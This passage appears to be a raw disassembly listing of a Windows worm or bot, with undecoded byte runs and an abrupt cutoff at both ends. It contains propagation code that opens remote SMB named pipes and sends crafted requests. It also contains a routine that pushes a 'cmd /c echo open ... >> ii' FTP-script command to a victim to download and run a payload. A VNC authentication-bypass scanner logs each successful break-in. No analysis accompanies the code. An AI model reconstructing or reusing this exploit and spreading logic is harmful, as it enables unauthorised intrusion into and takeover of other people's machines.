		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  7Bh	; {
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0D8h	; Ø
		db  29h	; )
		db  44h	; D
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 270087Fh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_437B14
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_437B00
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		call	near ptr 26608ABh
		nop
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_437AA8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4D354C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_437AF7+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_437A9C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_437AA4[esi]
		push	7
		add	eax, edi
		push	offset dword_437A90
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_437930
		push	eax
		call	sub_41C310
		mov	eax, dword_437AA0[esi]
		add	esp, 30h
		cmp	byte_437AA8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4D3544
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_437AC0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_437AC0

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608ABh
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26F0864h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 268086Bh
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26901AFh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  60h	; `
		db    5
		db  4Dh	; M
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  7Bh	; {
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Ch	; Œ
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db 0E8h	; è
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 227202Ch, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4D0560
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_436D0Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4D0864
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_437BBC
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_436D10[eax]
		lea	eax, dword_436D10[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4D083C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_438E00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4D08A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D0864
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4D0824
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4D08BC
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4D06DC
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_436D10[eax]
		push	ebx
		lea	eax, dword_436D10[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3564
		call	dword_4D083C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4D3560
		call	near ptr 26F0000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
